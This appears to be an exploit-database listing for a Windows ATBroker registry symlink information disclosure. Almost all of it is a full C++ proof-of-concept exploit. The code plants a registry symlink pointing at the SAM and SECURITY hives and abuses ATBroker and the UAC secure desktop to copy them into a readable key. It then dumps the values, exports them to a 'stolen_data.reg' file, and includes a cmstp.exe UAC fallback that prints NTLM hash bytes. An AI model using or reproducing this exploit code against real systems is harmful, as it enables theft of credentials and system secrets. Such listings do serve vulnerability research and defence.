PACKETSTORM 5.5 MEDIUM

📄 Microsoft Windows TBroker Registry Symlink Information Disclosure_PACKETSTORM:219933

5.5 / 10
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Description

This code demonstrates a proof of concept attack targeting Windows ATBroker Assistive Technology Broker to achieve sensitive information disclosure through unsafe Registry handling...
Visit Original Source

Basic Information

ID PACKETSTORM:219933
Published Apr 28, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Windows TBroker Registry Symlink Information Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================

[+] Summary : This code demonstrates a proof-of-concept attack targeting Windows ATBroker (Assistive Technology Broker) to achieve sensitive information disclosure through unsafe Registry handling.

[+] POC :

#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <map>
#include <thread>
#include <chrono>
#include <sddl.h>
#include <winternl.h>
#include <aclapi.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ntdll.lib")

#define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L)
#define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L)

extern "C" {
NTSTATUS NTAPI NtCreateKey(
PHANDLE KeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG TitleIndex,
PUNICODE_STRING Class,
ULONG CreateOptions,
PULONG Disposition
);

NTSTATUS NTAPI NtOpenKeyEx(
PHANDLE KeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG OpenOptions
);

NTSTATUS NTAPI NtSetValueKey(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
ULONG TitleIndex,
ULONG Type,
PVOID Data,
ULONG DataSize
);

NTSTATUS NTAPI NtDeleteKey(HANDLE KeyHandle);
NTSTATUS NTAPI RtlNtStatusToDosError(NTSTATUS Status);
VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);
}
class RegistryUtils {
public:
static std::wstring GetUserSid() {
HANDLE hToken = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return L"";

DWORD dwSize = 0;
GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
std::vector<BYTE> buffer(dwSize);
if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, &dwSize)) {
CloseHandle(hToken);
return L"";
}

PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(buffer.data());
LPWSTR lpSid = nullptr;

if (!ConvertSidToStringSid(pTokenUser->User.Sid, &lpSid)) {
CloseHandle(hToken);
return L"";
}

std::wstring sid(lpSid);
LocalFree(lpSid);
CloseHandle(hToken);

return sid;
}

static std::wstring RegPathToNative(const std::wstring& path) {
std::wstring regpath = L"\\Registry\\";

if (path.empty() || path[0] == L'\\')
return path;

if (path.find(L"HKLM\\") == 0) {
return regpath + L"Machine\\" + path.substr(5);
}
else if (path.find(L"HKU\\") == 0) {
return regpath + L"User\\" + path.substr(4);
}
else if (path.find(L"HKCU\\") == 0) {
return regpath + L"User\\" + GetUserSid() + L"\\" + path.substr(5);
}

return L"";
}

static bool CreateRegistrySymlink(const std::wstring& symlink, const std::wstring& target, bool isVolatile) {
std::wstring nativeSymlink = RegPathToNative(symlink);
std::wstring nativeTarget = RegPathToNative(target);

if (nativeSymlink.empty() || nativeTarget.empty())
return false;

printf("[*] Creating symlink: %ls -> %ls\n", nativeSymlink.c_str(), nativeTarget.c_str());

UNICODE_STRING name;
RtlInitUnicodeString(&name, nativeSymlink.c_str());

OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

HANDLE hKey = nullptr;
ULONG disposition = 0;

ULONG options = INTERNAL_REG_OPTION_CREATE_LINK |
(isVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE);

NTSTATUS status = NtCreateKey(&hKey, KEY_ALL_ACCESS, &objAttr, 0, nullptr, options, &disposition);

if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}

UNICODE_STRING valueName;
RtlInitUnicodeString(&valueName, L"SymbolicLinkValue");

status = NtSetValueKey(hKey, &valueName, 0, REG_LINK,
(PVOID)nativeTarget.c_str(),
nativeTarget.length() * sizeof(WCHAR));

CloseHandle(hKey);

if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}

return true;
}

static bool DeleteRegistrySymlink(const std::wstring& symlink) {
std::wstring nativeSymlink = RegPathToNative(symlink);
if (nativeSymlink.empty())
return false;

UNICODE_STRING name;
RtlInitUnicodeString(&name, nativeSymlink.c_str());

OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr);

HANDLE hKey = nullptr;
NTSTATUS status = NtOpenKeyEx(&hKey, DELETE, &objAttr, 0);

if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}

status = NtDeleteKey(hKey);
CloseHandle(hKey);

if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}

return true;
}
};
class DataExtractor {
public:
struct RegistryValue {
std::wstring name;
DWORD type;
std::vector<BYTE> data;
};

static std::vector<RegistryValue> ExtractRegistryValues(HKEY rootKey, const std::wstring& subKey) {
std::vector<RegistryValue> values;
HKEY hKey = nullptr;

if (RegOpenKeyExW(rootKey, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
printf("[!] Failed to open key: %ls\n", subKey.c_str());
return values;
}

DWORD index = 0;
WCHAR valueName[256];
DWORD valueNameSize = 256;
DWORD valueType = 0;
DWORD dataSize = 0;

while (RegEnumValueW(hKey, index++, valueName, &valueNameSize, nullptr,
&valueType, nullptr, &dataSize) == ERROR_SUCCESS) {

std::vector<BYTE> data(dataSize);
if (RegEnumValueW(hKey, index - 1, valueName, &valueNameSize, nullptr,
&valueType, data.data(), &dataSize) == ERROR_SUCCESS) {

RegistryValue val;
val.name = valueName;
val.type = valueType;
val.data = std::move(data);
values.push_back(val);

printf("[+] Extracted value: %ls (Type: %d, Size: %d)\n",
valueName, valueType, dataSize);
}

valueNameSize = 256;
dataSize = 0;
}

RegCloseKey(hKey);
return values;
}

static void DumpHexData(const std::vector<BYTE>& data, size_t maxLen = 256) {
size_t len = min(data.size(), maxLen);
for (size_t i = 0; i < len; i++) {
printf("%02X ", data[i]);
if ((i + 1) % 16 == 0) printf("\n");
else if ((i + 1) % 8 == 0) printf(" ");
}
if (len < data.size()) printf("... (truncated)");
printf("\n");
}
};
class ATBrokerExploit {
private:
std::wstring m_sessionPath;
std::vector<std::pair<std::wstring, std::wstring>> m_targets;

void InitializeTargets() {
m_targets = {
{L"sam", L"\\REGISTRY\\MACHINE\\SAM\\SAM"},
{L"security", L"\\REGISTRY\\MACHINE\\SECURITY"},
{L"system", L"\\REGISTRY\\MACHINE\\SYSTEM"},
{L"lsa", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa"},
{L"cached_creds", L"\\REGISTRY\\MACHINE\\SECURITY\\Cache"},
{L"domain_cached", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Secrets"},
{L"wdigest", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest"},
{L"kerberos_keys", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Keys"},
{L"user_credentials", L"\\REGISTRY\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users"},
};
}

std::wstring BuildSessionPath() {
DWORD sessionId = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

wchar_t path[512];
swprintf_s(path, L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session%d\\ATConfig\\colorfiltering",
sessionId);
return std::wstring(path);
}

bool TriggerSecureDesktop() {
printf("[*] Triggering UAC secure desktop...\n");
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = L"cmd.exe";
sei.lpParameters = L"/c echo Testing > nul";
sei.nShow = SW_HIDE;
ShellExecuteExW(&sei);
printf("[+] UAC prompt should appear. Dismiss or let it timeout.\n");
return true;
}

bool WaitForCopy() {
printf("[*] Waiting for ATBroker to copy settings...\n");

for (int i = 0; i < 30; i++) {
Sleep(1000);

HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_USERS,
L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
WCHAR valueName[256];
DWORD valueNameSize = 256;
if (RegEnumValueW(hKey, 0, valueName, &valueNameSize, nullptr,
nullptr, nullptr, nullptr) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
RegCloseKey(hKey);
}
}

return false;
}

void ExtractAndDumpData() {
std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";

printf("\n[*] Extracting stolen data...\n");
auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);

if (values.empty()) {
printf("[!] No data extracted!\n");
return;
}

printf("\n[+] Successfully extracted %zu values!\n", values.size());

for (const auto& val : values) {
printf("\n--- Value: %ls ---\n", val.name.c_str());
printf("Type: ");
switch (val.type) {
case REG_SZ: printf("REG_SZ\n"); break;
case REG_BINARY: printf("REG_BINARY\n"); break;
case REG_DWORD: printf("REG_DWORD\n"); break;
case REG_QWORD: printf("REG_QWORD\n"); break;
case REG_MULTI_SZ: printf("REG_MULTI_SZ\n"); break;
default: printf("Unknown (0x%X)\n", val.type);
}

printf("Data (%zu bytes):\n", val.data.size());

if (val.type == REG_SZ || val.type == REG_MULTI_SZ) {
wprintf(L"%ls\n", (wchar_t*)val.data.data());
} else {
DataExtractor::DumpHexData(val.data);
}
}
}

public:
ATBrokerExploit() {
InitializeTargets();
}

bool Exploit() {
printf("\n");
printf("========================================\n");
printf(" CVE-2026-25186 - ATBroker Exploit\n");
printf(" Windows Information Disclosure\n");
printf("========================================\n\n");
m_sessionPath = BuildSessionPath();
printf("[*] Session path: %ls\n", m_sessionPath.c_str());

RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
std::wstring targetPath = m_targets[0].second;

printf("\n[*] Creating malicious registry symlink...\n");
if (!RegistryUtils::CreateRegistrySymlink(m_sessionPath, targetPath, true)) {
printf("[!] Failed to create symlink: %d\n", GetLastError());
return false;
}
printf("[+] Symlink created successfully\n");

printf("\n[*] Launching assistive technology (osk.exe)...\n");
ShellExecuteW(nullptr, L"open", L"osk.exe", L"", nullptr, SW_SHOW);
Sleep(2000);
printf("[*] Ensuring ATBroker is running...\n");
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
CreateProcessW(L"C:\\Windows\\System32\\ATBroker.exe", nullptr, nullptr, nullptr,
FALSE, 0, nullptr, nullptr, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Sleep(1000);

TriggerSecureDesktop();

if (!WaitForCopy()) {
printf("[!] Timeout waiting for data copy\n");
RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
return false;
}

printf("[+] Data copied successfully!\n");

ExtractAndDumpData();

printf("\n[*] Cleaning up...\n");
RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
system("taskkill /F /IM osk.exe > nul 2>&1");

printf("\n[+] Exploit completed!\n");
return true;
}
};
class AdvancedATBrokerExploit : public ATBrokerExploit {
private:
void BypassUACForTrigger() {

printf("[*] Attempting silent UAC trigger...\n");
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = L"cmstp.exe";
sei.lpParameters = L"/au /s C:\\Windows\\System32\\cmstp.exe";
sei.nShow = SW_HIDE;
ShellExecuteExW(&sei);
}

void ExtractNTLMHashes() {

std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";

auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);

for (const auto& val : values) {
if (val.name == L"V" || val.name == L"F") {
printf("\n[!!!] Found potential credential data in %ls:\n", val.name.c_str());

if (val.data.size() > 0x9c + 16) {
printf("NTLM Hash: ");
for (int i = 0; i < 16; i++) {
printf("%02X", val.data[0x9c + i]);
}
printf("\n");
}
}
}
}

public:
bool FullExploit() {
if (!Exploit()) {
printf("[!] Basic exploit failed, trying advanced techniques...\n");
BypassUACForTrigger();
Sleep(5000);
ExtractNTLMHashes();
}
return true;
}
};
int wmain(int argc, wchar_t* argv[]) {

printf("[*] Running with limited privileges (as designed)\n");

AdvancedATBrokerExploit exploit;

if (exploit.FullExploit()) {
printf("\n[+] Information disclosure successful!\n");
printf("[*] Check .DEFAULT user hive for stolen registry data\n");
printf("[*] Run 'regedit' and navigate to:\n");
printf(" HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\n");

system("reg export \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\" stolen_data.reg /y");
printf("[+] Data saved to stolen_data.reg\n");

return 0;
} else {
printf("\n[!] Exploit failed\n");
return 1;
}
}

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.